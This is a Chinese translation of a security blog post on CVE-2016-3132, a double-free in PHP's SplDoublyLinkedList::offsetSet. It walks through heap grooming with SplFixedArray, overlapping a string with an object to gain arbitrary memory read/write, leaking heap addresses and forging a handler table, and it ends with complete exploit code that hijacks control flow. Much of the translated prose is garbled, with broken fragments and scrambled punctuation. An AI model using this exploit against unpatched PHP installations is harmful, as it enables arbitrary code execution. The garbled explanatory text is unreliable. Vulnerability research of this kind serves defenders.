技术文章翻译: PHP 标准库中某双链表结构存在双重释放问题( CVE-2016-3132)
原文
http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist : 原作者
Emmanuel Law :
引子
最近在
根源分析
问题函数是SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new DateTime('2000-01-01')); //DateTime 会被释放两次
来看一下细节
832 if (index < 0 || index >= intern->llist->count) {
833 zval_ptr_dtor(value);
834 zend_throw_exception(spl_ce_OutOfRangeException, "Offset invalid or out of range", 0);
835 return;
836 }
另外一个释放点在Zend/zend_vm_execute.h:855
EG(current_execute_data) = call->prev_execute_data;
zend_vm_stack_free_args(call);
PHP 内部的堆管理
在ealloc()
- 小于
Small heap alloction)( - 小于
Large heap alloction)( - 大于
Huge heap alloction)(
为了利用这个洞
- 1#桶
包含, - 2#桶
包含, - 3#桶
包含, - 以此类推
而efree()
具体的利用方法
- Step 0: 先看看这个对象看看能不能打
这个洞是因为。 引擎试图把一个对象插入到一个无效的, 一般会引发这样的错误。 :
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range
(致命错误:未捕获的溢出异常:偏移值无效或超限)
发生了这种错误后set_exception_handler()
-
Step 1: 选择一个合适的对象进行溢出
我选择了。 SplFixedArray
因为, : - 大小合适
不会走入其他的内存管理流程中, 。 - 大小不怎么常见
因此不会被影响太多, 本例中。 , sizeof(SplFixedArray)==0x78
会被放入, 。 SplFixedArray
在特定位置有一个成员, 可以被利用, 下面我会对此进行详细说明。 。
- 大小合适
-
Step 2: 我们要先
“ 调教” 先做一些清理操作。 释放, 我们可以通过分配一堆实例的方法来搞。 这样也能让我们得到的内存地址比较接近, :
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}
unset($z[50]);
我们分配然后释放了第SplFixedArray
然后立刻实例化一个SplFixedArray
<?php
$var_1=new SplStack();
$var_1->offsetSet(100,new SplFixedArray);
这些操作都是为了我能拿到一个可控的内存结构
第二次
- Step 3: 然后我们看看怎么拿到控制权
注意。 只有一个堆块是空的, 但是在链表里有两个指针指向同一块空内存, 这是因为现在这块堆已经乱了。 PHP, 那么。 我们可以在, 他们会占用同一块内存空间, :
<?php
$s=str_repeat('C',0x48);
$t=new mySpecialSplFixedArray(5);
class mySpecialSplFixedArray extends SplFixedArray{
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}
这里我们分配了一个字符串mySpecialSplFixedArray
SplFixedArray
mySpecialSplFixedArray
SplFixedArray
offsetUnset
String
SplFixedArray
- 第一次用
$s=str_repeat('C',0x48)
zend_string.len
SplFixArray()
fptr_offset_set
String
zend_string.len
offsetUnset()
fptr_offset_set
zend_string.len
- Step 4: 拿到控制流
现在。 PHP, : -
$s
那么我们可以任意读写了, 。 -
$t
mySpecialSplFixedArray
和, $s
。 如果我们要执行
0xdeadbeef
那么我们需要, : - 伪造一个结构体
其析构器指针指向, 0xdeadbeef
- 覆写
mySpecialSplFixedArray
使其指向那个假的结构体, unset(mySpecialSplFixedArray)
实际是析构了我们伪造好的结构体, 那么代码肯定执行了, 。
第一步比较好搞
利用刚才的读写工具, $s
第二个也不难。 而问题是。 伪造假的, Handler
我们并不知道假结构的具体地址, 那么就比较尴尬了, 。 解决方法是
释放第, SplFixArray
: 这样
第, SplFixArray
SplFixArray
我们可以用之前的。 $s
。 - 伪造一个结构体
-
下面是完整的利用代码
<?php
// ####### HELPER Function ##############
function read_ptr(&$mystring,$index=0,$little_endian=1){
return hexdec(dechex(ord($mystring[$index+7])) .dechex(ord($mystring[$index+6])) . dechex(ord($mystring[$index+5])).dechex(ord($mystring[$index+4])).dechex(ord($mystring[$index+3])).dechex(ord($mystring[$index+2])). dechex(ord($mystring[$index+1])).dechex(ord($mystring[$index+0])));
}
function write_ptr(&$mystring,$value,$index=0,$little_endian=1){
//$value=dechex($value);
$mystring[$index]=chr($value&0xFF);
$mystring[$index+1]=chr(($value>>8)&0xFF);
$mystring[$index+2]=chr(($value>>16)&0xFF);
$mystring[$index+3]=chr(($value>>24)&0xFF);
$mystring[$index+4]=chr(($value>>32)&0xFF);
$mystring[$index+5]=chr(($value>>40)&0xFF);
$mystring[$index+6]=chr(($value>>48)&0xFF);
$mystring[$index+7]=chr(($value>>56)&0xFF);
}
// ####### Exploit Start #######
class SplFixedArray2 extends SplFixedArray{
public function offsetSet($offset, $value) {}
public function Count() {echo "!!!!######!#!#!#COUNT##!#!#!#!#";}
public function offsetUnset($offset) {
parent::offsetUnset($offset);
}
}
function exception_handler($exception) {
global $z;
$s=str_repeat('C',0x48);
$t=new SplFixedArray2(5);
$t[0]='Z';
unset($z[22]);
unset($z[21]);
$heap_addr=read_ptr($s,0x58);
print "Leak Heap memory location: 0x" . dechex($heap_addr) . "\n";
$heap_addr_of_fake_handler=$heap_addr-0x70-0x70+0x18+0x300;
print "Heap address of fake handler 0x" . dechex($heap_addr_of_fake_handler) . "\n";
//Set Handlers
write_ptr($s,$heap_addr_of_fake_handler,0x40);
//Set fake handler
write_ptr($s,0x40,0x300); //handler.offset
write_ptr($s,0x4141414141414141,0x308); //handler.free_obj
write_ptr($s,0xdeadbeef,0x310); //handler.dtor.obj
str_repeat('z',5);
unset($t); //BOOM!
}
set_exception_handler('exception_handler');
$var_1=new SplStack();
$z=array();
//Heap management
for ($x=0;$x<100;$x++){
$z[$x]=new SplFixedArray(5);
}
unset($z[20]);
$var_1->offsetSet(0,new SplFixedArray);